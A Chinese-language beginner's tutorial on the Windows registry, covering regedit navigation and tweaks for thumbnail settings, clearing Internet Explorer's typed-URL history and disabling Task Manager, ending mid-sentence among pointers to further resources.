考慮到這些警告,你可能奇怪注冊表真正做了什麼,以及為什麼所有人都想胡亂地修補它。它是所有和Windows以及你在計算機上安裝的軟體、硬體相關的設置和信息的一個中央記錄。在Windows 95之前,這些信息被保存在大量不同的文本文件當中。它們很容易被編輯,而你首先必須要找到它們,而且在你編程試圖和它們進行交互的時候經常會發生問題。
注冊表的一個好處是添加或刪除程序功能,這是開始菜單中控制面板功能的一部分。你安裝軟體的時候,在注冊表中做了一個記錄,所以在添加或刪除程序中作為一個專門列表的一部分出現。
注冊表的功能是什麼?
注冊表保存在你的硬碟的幾個文件當中,但訪問和修改它們的唯一途徑是使用注冊表編輯器程序。要訪問它,點擊開始按鈕,然後點擊運行。在出現的對話框中輸入regedit並按Enter鍵。這會進入注冊表編輯器,你現在就看到了注冊表。
注冊表組織得更像磁碟上的文件,如果你曾經在Windows瀏覽器中使用過文件夾視圖的話,你會根據很熟悉。然而在注冊表中,這些文件夾被稱為鍵。要打開某個鍵,只需點擊它旁邊的小加號(+)。然後你會看到每個鍵下包含更多的鍵,稱為子鍵或值。
這些數以千計的鍵根據邏輯進行排列,在你第一次看到注冊表的時候可能會使你感覺無從下手。要把頭緒理清楚,首先要知道有五個根鍵以及注冊表的基本組成結構。
值是指各種不同鍵的單獨設置,因此是可自定義的。它們在注冊表窗口左側以名稱排列,它們還說明了包含數據的類型以及數據本身。不用擔心使用的是哪種數據類型,因為這對數據本身是明顯的,或者在編輯過程中會作出解釋。
修改注冊表
你肯定已經對注冊表作過修改,但只是通過控制面板或安裝其它軟體這樣的間接途徑。第三方軟體也可以實現這一點,但你應該只使用那些值得信任的軟體。讓某個不知名的應用程序編輯注冊表可能會給間諜軟體留下後門。
一些可用的軟體提供了你在別的地方看不到的設置。Registry Mechanic就是這樣一個程序。其他諸如Norton SystemWorks這樣的工具可以掃描注冊表中不再需要並且可以刪除的鍵值。注冊表越龐大,你的計算機的運行就會變得越慢,所以SystemWorks非常有用。
間諜軟體通常在注冊表中建立鍵值以確保自己已經啟動以便在Windows開始的時候監視你的計算機。在尋找有關如何刪除這些程序的建議的時候,你可能會被告知需要編輯注冊表。請先確定該建議是來自某個可信賴的來源,例如Windows的注冊表指南或Systweak.com。
在有些時候,間諜軟體也安裝一個小程序以監視注冊表並且重新寫入你刪除的鍵值,所以你應該使用諸如Spybot Search and Destroy這樣的軟體完全地清理你的計算機。
你可以通過注冊表做些什麼
如果你了解了注冊表的基本工作原理,你可以很快地調整計算機的行為以適應你的個人需求。你還可以像在Internet Explorer中那樣在注冊表中設置收藏夾。如果你正在修改一個需要進行調整的設置,例如在下面例子中,你可以利用這個特性快速返回到你修改的值。
要設置收藏夾,點擊鍵,然後是收藏夾菜單並選擇添加收藏夾。給定一個名稱並點擊OK。回到這個鍵,你現在可以很容易地從收藏夾菜單中選擇收藏。
需要注意的是十進制和十六進制數之間的區別,同樣一個數字在這兩者中將產生不同的結果。這里的所有例子都使用十進制數。
掌握縮略圖
Windows可以在資源管理器的窗口中顯示圖像為縮略圖。如果你感覺這些縮略圖的大小或質量不是你喜歡的,你可以利用注冊表修改它們。首先,通過創建一個系統恢復點做一個文件備份。現在使用前面介紹的過程打開注冊表並且通過點擊「+」尋找到下面的鍵。
現在右擊資源管理器圖標,選擇New並點擊DWORD值。在看到NewValue1之後輸入文本ThumbnailQuality。你應該只能輸入源名稱;如果不是,點擊新鍵並按F2以編輯該名稱。右擊ThumbnailQuality並選擇修改。在出現的窗口中,輸入一個介於50到100的數字以指定縮略圖的質量。默認值是90。該數字越小,圖片顯示的速度會越快,但是圖片顯示的質量會越低。點擊十進制選項,然後點擊OK。
要改變縮略圖的大小,右擊資源管理器的圖標,選擇New並點擊DWORD值。命名新的值ThumbnailSize,右擊它並選擇修改。輸入一個數字以設置你希望每個縮略圖使用的象素數量。默認值是96。點擊十進制選項,然後點擊OK。在這些修改生效前,你可能需要重新啟動計算機。
清除IE歷史web站點
盡管我們可以在Internet Explorer中刪除你曾經訪問過的web站點的歷史列表,但系統仍然保存著它們並且當你在地址欄中輸入相同的名稱時自動顯示它們。這個列表被保存在注冊表中,如果你願意你可以刪除它。
點擊開始按鈕,然後點擊運行,在窗口中輸入regedit並按enter鍵。接著查找鍵「HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs」。在右邊的窗格中,你將看到曾經訪問的所有web站點的列表。要刪除該列表中的web站點,點擊每一行並按Del鍵。點擊Yes,該記錄將被刪除。
禁用任務管理器
在處理沒有響應的程序時,任務管理器非常有用,但是有時候你可能希望防止其他人使用它,以避免他們停止某個關鍵的程序,例如你正在運行的病毒掃描器。但是需要了解的是,因為你可以停止任何正在運行的程序,所以稍不注意就很容易導致Windows崩潰。你可以通過下面的方法修改注冊表,禁止其他人訪問任務管理器:
點擊開始按鈕,然後是運行。在接下來的窗口中輸入regedit並按Enter鍵。找到下面的鍵:『HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Policies\System』。你需要創建一個System鍵。右擊Policies,選擇New,然後點擊Key。輸入鍵的名字System。
右擊System鍵,選擇New,然後點擊DWORD值。輸入值的名稱為DisableTaskMgr。如果你無法輸入名稱,左擊新的值並在輸入新的名稱之前按F2鍵。右擊它並選擇修改。在值的數據對話框中輸入1,選擇十進制選項並點擊OK。
現在,如果某人通過按下Ctrl+Alt+Del試圖打開任務管理器,他們將收到一條消息,告訴他們這已經被禁止了。如果你的計算機上的用戶不止一個,你就必須以每個帳戶登錄,然後重復這個過程。
小心對待它
我們已經用一些例子說明了你可以利用注冊表做些什麼。隨著你更多地學習,你會發現了解你的計算機是如何與注冊表相結合是一個很有用的工具,從長遠的觀點來看會增強你的自信。
通過下面的指導,我希望你能夠獲得對你的計算機的進一步的理解。需要記住的是,一定要盡可能心懷敬意地對待注冊表並且在做修改的時候小心謹慎。一定要先做一個備份並且只在你確切地知道它們是什麼以及它們是做什麼的時候才修改或添加值。
去了解更多
有大量的web站點介紹如何編輯注冊表以及注冊表能做些什麼。如果你不確定某個特定的修改,你可以到互聯網的論壇上和其他用戶進行討論,例如Computeractive論壇。
要想獲得更多對注冊表進行修改的例子,請查看WinGuides Network for Windows。每項技巧都有你需要修改的鍵和值的截屏以及它們的外部特徵。你也可以下載WinGuides Tweak Manager,它無需使用注冊表就可以應用這些修改。
如果你覺得有足夠的把握,請查看Windows XP的The Elder Geek。該站點有大量的建議,並且即使你不是在尋找特定的注冊表編輯,你或許會發現你希望進行的修改,而你一直不知道該如何實現